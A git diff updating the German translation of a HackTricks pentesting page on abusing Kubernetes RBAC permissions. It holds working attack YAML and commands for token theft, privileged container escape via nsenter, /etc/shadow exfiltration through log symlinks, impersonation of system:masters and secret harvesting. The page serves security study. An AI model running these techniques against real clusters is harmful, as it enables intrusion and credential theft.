mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-
This commit is contained in:
+151
-129
@@ -1,23 +1,23 @@
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
# Missbrauch von Roles/ClusterRoles in Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Hier finden Sie einige potenziell gefährliche Rollen- und ClusterRoles-Konfigurationen.\
|
||||
Denken Sie daran, dass Sie alle unterstützten Ressourcen mit `kubectl api-resources` abrufen können.
|
||||
Hier finden Sie einige potenziell gefährliche Roles- und ClusterRoles-Konfigurationen.\
|
||||
Denken Sie daran, dass Sie alle unterstützten Ressourcen mit `kubectl api-resources` abrufen können
|
||||
|
||||
## **Privilegieneskalation**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Dies bezieht sich auf die Kunst, **Zugriff auf ein anderes Subjekt** innerhalb des Clusters **mit anderen Berechtigungen** (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, als die, die Sie bereits haben. In Kubernetes gibt es im Wesentlichen **4 Haupttechniken zur Eskalation von Berechtigungen**:
|
||||
Als die Kunst, Zugriff auf einen anderen Principal innerhalb des Clusters mit anderen Privilegien (innerhalb des kubernetes clusters oder in externe clouds) als die, die Sie bereits haben, zu erhalten: In Kubernetes gibt es im Wesentlichen **4 Haupttechniken, um Privilegien zu eskalieren**:
|
||||
|
||||
- In der Lage sein, **andere Benutzer/Gruppen/SAs zu impersonieren**, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben.
|
||||
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können.
|
||||
- In der Lage sein, **Secrets zu lesen**, da die Tokens der SAs als Secrets gespeichert sind.
|
||||
- In der Lage sein, **zum Knoten zu entkommen** von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können.
|
||||
- Eine fünfte Technik, die erwähnt werden sollte, ist die Fähigkeit, **Port-Forward** in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.
|
||||
- Fähigkeit, andere user/groups/SAs zu **impersonate**, die bessere Privilegien innerhalb des kubernetes clusters oder in externe Clouds besitzen
|
||||
- Fähigkeit, **create/patch/exec pods** zu können, in denen Sie **find or attach SAs** finden/anhängen können, die bessere Privilegien innerhalb des kubernetes clusters oder in externe Clouds haben
|
||||
- Möglichkeit, **read secrets** — da die SAs-Tokens als secrets gespeichert sind
|
||||
- Fähigkeit, von einem Container **escape to the node** zu können, woraufhin Sie alle secrets der auf dem Node laufenden Container, die Credentials des Node und die Berechtigungen des Node in der Cloud (falls vorhanden) stehlen können
|
||||
- Eine fünfte Technik, die erwähnenswert ist, ist die Möglichkeit, in einem Pod **run port-forward** auszuführen, da Sie so möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.
|
||||
|
||||
### Zugriff auf jede Ressource oder jedes Verb (Wildcard)
|
||||
|
||||
Die **Wildcard (\*) gewährt Berechtigungen über jede Ressource mit jedem Verb**. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
|
||||
Der **wildcard (\*) gewährt Berechtigungen für jede Ressource und jedes Verb**. Er wird von Admins verwendet. Innerhalb einer ClusterRole bedeutet das, dass ein Angreifer jeden Namespace im Cluster missbrauchen könnte
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Zugriff auf jede Ressource mit einem bestimmten Verb
|
||||
### Auf beliebige Ressourcen mit einem bestimmten Verb zugreifen
|
||||
|
||||
In RBAC stellen bestimmte Berechtigungen erhebliche Risiken dar:
|
||||
|
||||
1. **`create`:** Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Eskalation von Berechtigungen darstellt.
|
||||
2. **`list`:** Ermöglicht das Auflisten aller Ressourcen, was potenziell sensible Daten leaken könnte.
|
||||
3. **`get`:** Erlaubt den Zugriff auf Geheimnisse von Dienstkonten, was eine Sicherheitsbedrohung darstellt.
|
||||
1. **`create`:** Gewährt die Möglichkeit, beliebige Cluster-Ressourcen zu erstellen, was zu privilege escalation führen kann.
|
||||
2. **`list`:** Ermöglicht das Auflisten aller Ressourcen und kann potenziell sensible Daten leak.
|
||||
3. **`get`:** Erlaubt den Zugriff auf secrets von service accounts und stellt eine Sicherheitsbedrohung dar.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod erstellen - Token stehlen
|
||||
|
||||
Ein Angreifer mit den Berechtigungen zum Erstellen eines Pods könnte ein privilegiertes Service-Konto in den Pod anhängen und das Token stehlen, um das Service-Konto zu impersonifizieren. Dadurch werden die Berechtigungen effektiv erhöht.
|
||||
Ein Angreifer mit der Berechtigung, einen Pod zu erstellen, kann ein privilegiertes Service Account in den Pod einbinden und dessen Token stehlen, um sich als das Service Account auszugeben. Dadurch werden effektiv die Berechtigungen dieses Accounts eskaliert.
|
||||
|
||||
Beispiel eines Pods, der das Token des `bootstrap-signer` Service-Kontos stehlen und es an den Angreifer senden wird:
|
||||
Beispiel für einen Pod, der das Token des `bootstrap-signer` Service Accounts stiehlt und an den Angreifer sendet:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Pod Erstellen & Entkommen
|
||||
### Pod Create & Escape
|
||||
|
||||
Die folgenden Punkte zeigen alle Berechtigungen, die ein Container haben kann:
|
||||
Das Folgende zeigt alle Privilegien, die ein Container haben kann:
|
||||
|
||||
- **Privilegierter Zugriff** (Deaktivierung von Schutzmaßnahmen und Festlegung von Berechtigungen)
|
||||
- **Deaktivierung der Namespaces hostIPC und hostPid**, die helfen können, Berechtigungen zu eskalieren
|
||||
- **Deaktivierung des hostNetwork**-Namespaces, der Zugriff ermöglicht, um die Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
|
||||
- **Mounten von Hosts / innerhalb des Containers**
|
||||
- **Privileged access** (Deaktivieren von Schutzmaßnahmen und Setzen von Capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** die dabei helfen können, Privilegien zu eskalieren
|
||||
- **Disable hostNetwork** namespace, was Zugriff ermöglicht, um Cloud-Privilegien von nodes zu stehlen und besseren Zugang zu Netzwerken zu erhalten
|
||||
- **Mount hosts / inside the container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +115,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Erstellen Sie das Pod mit:
|
||||
Erstelle den Pod mit:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Einzeiler aus [diesem Tweet](https://twitter.com/mauilion/status/1129468485480751104) und mit einigen Ergänzungen:
|
||||
Einzeiler aus [this tweet](https://twitter.com/mauilion/status/1129468485480751104) und mit einigen Ergänzungen:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Jetzt, da Sie zum Knoten entkommen können, überprüfen Sie die Post-Exploitation-Techniken in:
|
||||
Jetzt, da du zum node entkommen kannst, siehe post-exploitation Techniken in:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, das nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
|
||||
Wahrscheinlich möchtest du **diskreter** sein. In den folgenden Seiten siehst du, worauf du zugreifen könntest, wenn du einen pod erstellst und dabei nur einige der im vorherigen Template erwähnten Privilegien aktivierst:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,24 +136,24 @@ Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten könne
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Sie finden Beispiele dafür, wie Sie die vorherigen privilegierten Pod-Konfigurationen erstellen/ausnutzen können in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Du findest Beispiele, wie man die vorherigen privilegierten Pod-Konfigurationen erstellt/missbraucht in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod erstellen - In die Cloud verschieben
|
||||
### Pod erstellen - In die Cloud
|
||||
|
||||
Wenn Sie einen **Pod** (und optional ein **Service-Konto**) **erstellen** können, könnten Sie in der Lage sein, **Berechtigungen in der Cloud-Umgebung zu erhalten**, indem Sie **Cloud-Rollen einem Pod oder einem Service-Konto zuweisen** und dann darauf zugreifen.\
|
||||
Darüber hinaus, wenn Sie einen **Pod mit dem Host-Netzwerk-Namespace** erstellen können, können Sie die IAM-Rolle der **Knoten**-Instanz **stehlen**.
|
||||
Wenn du einen **pod** **erstellen** kannst (und optional ein **service account**), könntest du möglicherweise **Privilegien in der Cloud-Umgebung erlangen**, indem du **cloud roles einem pod oder einem service account zuweist** und dann darauf zugreifst.\
|
||||
Außerdem, wenn du einen **pod mit dem host network namespace** erstellen kannst, kannst du die **IAM**-Rolle der **node**-Instanz **steal**.
|
||||
|
||||
Für weitere Informationen überprüfen Sie:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs und Cronjobs erstellen/patchen**
|
||||
### **Erstellen/Patchen von Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs und Cronjobs**
|
||||
|
||||
Es ist möglich, diese Berechtigungen auszunutzen, um **einen neuen Pod zu erstellen** und Berechtigungen wie im vorherigen Beispiel zu erlangen.
|
||||
Es ist möglich, diese Berechtigungen zu missbrauchen, um **einen neuen pod zu erstellen** und Privilegien wie im vorherigen Beispiel zu eskalieren.
|
||||
|
||||
Die folgende YAML **erstellt ein Daemonset und exfiltriert das Token des SA** innerhalb des Pods:
|
||||
Das folgende yaml **erstellt ein daemonset und exfiltrates das Token des SA** innerhalb des pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** ist eine Ressource in Kubernetes, die zum **Ausführen von Befehlen in einer Shell innerhalb eines Pods** verwendet wird. Dies ermöglicht es, **Befehle innerhalb der Container auszuführen oder eine Shell zu erhalten**.
|
||||
**`pods/exec`** ist eine Ressource in kubernetes, die verwendet wird, um **Befehle in einer Shell innerhalb eines Pods auszuführen**. Das ermöglicht, **Befehle innerhalb der Container auszuführen oder eine Shell zu bekommen**.
|
||||
|
||||
Daher ist es möglich, **in einen Pod zu gelangen und das Token des SA zu stehlen**, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
|
||||
Deshalb ist es möglich, **in einen Pod zu gelangen und das Token des SA zu stehlen**, oder einen privilegierten Pod zu betreten, auf den node zu entkommen und alle Tokens der Pods auf dem node zu stehlen und den node zu (ab)nutzen:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Standardmäßig wird der Befehl im ersten Container des Pods ausgeführt. Holen Sie sich **alle Pods in einem Container** mit `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` und geben Sie dann **den Container an**, in dem Sie ihn ausführen möchten, mit `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Standardmäßig wird der Befehl im ersten container des pod ausgeführt. Hole mit `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` **alle pods in einem container** und gib dann **den container** an, in dem du ihn mit `kubectl exec -it <pod_name> -c <container_name> -- sh` ausführen möchtest.
|
||||
|
||||
Wenn es sich um einen distroless Container handelt, können Sie versuchen, **Shell-Befehle** zu verwenden, um Informationen über die Container zu erhalten oder Ihre eigenen Tools wie eine **busybox** hochzuladen mit: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
Wenn es sich um einen distroless container handelt, kannst du versuchen, **shell builtins** zu verwenden, um Informationen über die container zu erhalten, oder deine eigenen Tools wie eine **busybox** hochzuladen mit: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Diese Berechtigung ermöglicht es, **einen lokalen Port an einen Port im angegebenen Pod weiterzuleiten**. Dies soll es ermöglichen, Anwendungen, die innerhalb eines Pods ausgeführt werden, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugriff auf interessante (wie DBs) oder anfällige Anwendungen (Webs?) innerhalb eines Pods zu erhalten:
|
||||
Diese Berechtigung erlaubt es, **einen lokalen Port auf einen Port im angegebenen pod weiterzuleiten**. Das dient dazu, Anwendungen, die innerhalb eines pod laufen, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugriff auf interessante (wie DBs) oder verwundbare Anwendungen (Webs?) innerhalb eines pod zu erhalten:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
### Hosts schreibbar /var/log/ Escape
|
||||
|
||||
Wie [**in dieser Forschung angegeben**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), wenn Sie auf ein Pod zugreifen oder ein Pod mit dem **hosts `/var/log/` Verzeichnis montiert** darauf erstellen können, können Sie **aus dem Container entkommen**.\
|
||||
Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die Protokolle** eines Containers abzurufen (unter Verwendung von `kubectl logs <pod>`), sie die **`0.log`** Datei des Pods über den `/logs/` Endpunkt des **Kubelet** Dienstes anfordert.\
|
||||
Der Kubelet-Dienst exponiert den `/logs/` Endpunkt, der im Grunde genommen **das `/var/log` Dateisystem des Containers exponiert**.
|
||||
Wie [**in dieser research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) angegeben, wenn du auf ein pod zugreifen oder ein pod erstellen kannst, bei dem das hosts `/var/log/` Verzeichnis gemountet ist, kannst du **aus dem Container entkommen**.\
|
||||
Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die logs** eines Containers abzurufen (mittels `kubectl logs <pod>`), sie die Datei `0.log` des Pods über den `/logs/`-Endpoint des **Kubelet**-Dienstes anfordert.\
|
||||
Der Kubelet-Dienst exponiert den `/logs/`-Endpoint, der im Grunde das `/var/log`-Dateisystem des Containers freigibt.
|
||||
|
||||
Daher könnte ein Angreifer mit **Zugriff auf das Schreiben im /var/log/ Ordner** des Containers dieses Verhalten auf 2 Arten ausnutzen:
|
||||
Daher kann ein Angreifer mit **Schreibzugriff auf den /var/log/-Ordner** des Containers dieses Verhalten auf 2 Arten ausnutzen:
|
||||
|
||||
- Modifizieren der `0.log` Datei seines Containers (normalerweise zu finden in `/var/logs/pods/namespace_pod_uid/container/0.log`), um ein **Symlink zu `/etc/shadow`** zu sein, zum Beispiel. Dann können Sie die Schatten-Datei des Hosts exfiltrieren, indem Sie:
|
||||
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Wenn der Angreifer einen Principal mit den **Berechtigungen zum Lesen von `nodes/log`** kontrolliert, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` zu `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` wird er das Root**-Dateisystem des Hosts auflisten (Ändern des symlinks kann Zugriff auf Dateien gewähren).
|
||||
- Wenn ein Angreifer einen beliebigen principal kontrolliert, der die **permissions to read `nodes/log`** hat, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` auf `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` das Root-Dateisystem des Hosts auflisten** (Das Ändern des Symlinks kann Zugriff auf Dateien ermöglichen).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -240,19 +240,19 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Umgehung des readOnly-Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw erneut einhängen:
|
||||
Wenn Sie Glück haben und die hoch privilegierte capability `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw remounten:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Umgehung des hostPath readOnly-Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Wie in [**dieser Forschung**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) angegeben, ist es möglich, den Schutz zu umgehen:
|
||||
Wie in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) beschrieben, ist es möglich, den Schutz zu umgehen:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Was dazu gedacht war, Ausbrüche wie die vorherigen zu verhindern, indem anstelle einer hostPath-Mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen Ordner des Hosts im Container mit schreibbarem Zugriff zu mounten:
|
||||
Das sollte Escapes wie die vorherigen verhindern, indem statt eines hostPath mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen hosts-Ordner im container mit schreibbarem Zugriff zu mounten:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,16 +298,16 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Impersonation von privilegierten Konten**
|
||||
### **Vortäuschen privilegierter Konten**
|
||||
|
||||
Mit einem [**Benutzer-Impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) Privileg könnte ein Angreifer ein privilegiertes Konto impersonieren.
|
||||
Mit dem [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) Privileg könnte ein Angreifer sich als privilegiertes Konto ausgeben.
|
||||
|
||||
Verwenden Sie einfach den Parameter `--as=<username>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<group>`, um eine Gruppe zu impersonieren:
|
||||
Einfach den Parameter `--as=<username>` im `kubectl`-Befehl verwenden, um sich als Benutzer auszugeben, oder `--as-group=<group>`, um sich als Gruppe auszugeben:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
Oder verwenden Sie die REST-API:
|
||||
Oder verwende die REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Auflisten von Geheimnissen
|
||||
### Auflisten von Secrets
|
||||
|
||||
Die Berechtigung, **Geheimnisse aufzulisten, könnte einem Angreifer tatsächlich ermöglichen, die Geheimnisse zu lesen**, indem er auf den REST-API-Endpunkt zugreift:
|
||||
Die Berechtigung, **Secrets aufzulisten, könnte einem Angreifer tatsächlich erlauben, die Secrets zu lesen**, indem er den REST API endpoint abfragt:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Erstellen und Lesen von Secrets
|
||||
### Erstellen und Auslesen von Secrets
|
||||
|
||||
Es gibt eine spezielle Art von Kubernetes-Secret vom Typ **kubernetes.io/service-account-token**, das Serviceaccount-Token speichert. Wenn Sie die Berechtigungen zum Erstellen und Lesen von Secrets haben und auch den Namen des Serviceaccounts kennen, können Sie ein Secret wie folgt erstellen und dann das Token des betroffenen Serviceaccounts daraus stehlen:
|
||||
Es gibt eine spezielle Art von Kubernetes Secret vom Typ **kubernetes.io/service-account-token**, die serviceaccount tokens speichert.
|
||||
Wenn Sie Berechtigungen haben, Secrets zu erstellen und zu lesen, und außerdem den Namen des serviceaccounts kennen, können Sie ein Secret wie folgt erstellen und anschließend das Token des betroffenen serviceaccounts daraus stehlen:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Beispielausnutzung:
|
||||
Beispiel exploitation:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,17 +383,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace Secrets erstellen und lesen dürfen, das Opfer-Servicekonto sich ebenfalls in diesem Namespace befinden muss.
|
||||
Beachte, dass wenn du berechtigt bist, secrets in einem bestimmten namespace zu erstellen und zu lesen, der betroffene serviceaccount sich ebenfalls in demselben namespace befinden muss.
|
||||
|
||||
### Lesen eines Secrets – Brute-Forcing von Token-IDs
|
||||
|
||||
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Secrets benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Listing Secrets**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Secret verknüpft ist. Diese Secrets haben eine Namensstruktur: ein statisches Präfix, gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
### Lesen eines secret – brute-forcing token IDs
|
||||
|
||||
Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Servicekonten führen könnte.
|
||||
Während ein Angreifer im Besitz eines Tokens mit Lese-Berechtigungen den genauen Namen des secret benötigt, um ihn zu verwenden, gibt es im Gegensatz zum weiter gefassten _**listing secrets**_ Privileg dennoch Schwachstellen. Default service accounts im System lassen sich auflisten, wobei jeder mit einem secret verknüpft ist. Diese secrets haben eine Namensstruktur: ein statischer Präfix gefolgt von einem zufälligen fünf Zeichen langen alphanumerischen Token (unter Ausschluss bestimmter Zeichen) gemäß dem [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
### EncryptionConfiguration im Klartext
|
||||
Das Token wird aus einer eingeschränkten 27-Zeichen-Menge (`bcdfghjklmnpqrstvwxz2456789`) erzeugt, statt aus dem vollen alphanumerischen Bereich. Diese Einschränkung reduziert die Gesamtzahl möglicher Kombinationen auf 14,348,907 (27^5). Folglich könnte ein Angreifer in der Praxis innerhalb weniger Stunden einen brute-force attack durchführen, um das Token zu ermitteln, was möglicherweise zu privilege escalation führt, indem sensitive service accounts zugänglich werden.
|
||||
|
||||
Es ist möglich, Klartextschlüssel zu finden, um Daten im Ruhezustand in dieser Art von Objekt zu verschlüsseln, wie:
|
||||
### EncrpytionConfiguration im Klartext
|
||||
|
||||
Es ist möglich, in diesem Objekttyp Klartextschlüssel zum Verschlüsseln ruhender Daten zu finden, wie zum Beispiel:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -451,9 +453,9 @@ secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
|
||||
Wenn Sie das Verb **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben. Können Sie **create** ein neues CeSR eines **neuen Knotens.**
|
||||
Wenn Sie die Berechtigung **`create`** für die Resource `certificatesigningrequests` (oder zumindest für `certificatesigningrequests/nodeClient`) haben, können Sie eine neue CeSR für einen **neuen Node** erstellen.
|
||||
|
||||
Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` bedeutet.
|
||||
Laut der [Dokumentation ist es möglich, diese Requests automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), benötigen Sie in diesem Fall **keine zusätzlichen Berechtigungen**. Falls nicht, müssten Sie die Anfrage genehmigen können, was `update` in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` bedeutet.
|
||||
|
||||
Ein **Beispiel für eine Rolle** mit allen erforderlichen Berechtigungen ist:
|
||||
```yaml
|
||||
@@ -486,19 +488,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
So, mit dem genehmigten neuen Node CSR kannst du die **besonderen Berechtigungen** von Nodes **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.
|
||||
Also, mit der neu genehmigten node CSR kannst du die speziellen Berechtigungen von nodes **missbrauchen**, um **secrets zu stehlen** und **Privilegien zu eskalieren**.
|
||||
|
||||
In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen zu eskalieren, indem Geheimnisse gestohlen werden.\
|
||||
Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der verhindert, dass ein neuer Node auf Geheimnisse innerhalb von Containern zugreift, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap configuration mit **automatic signing** konfiguriert und wird missbraucht, um credentials eines neuen K8s Node zu erzeugen und diese dann zu missbrauchen, um Privilegien durch das Stehlen von secrets zu eskalieren.\
|
||||
Wenn du **die genannten Privilegien hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der einen neuen node daran hindert, auf secrets innerhalb von Containern zuzugreifen, weil ein **node nur auf die secrets von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
|
||||
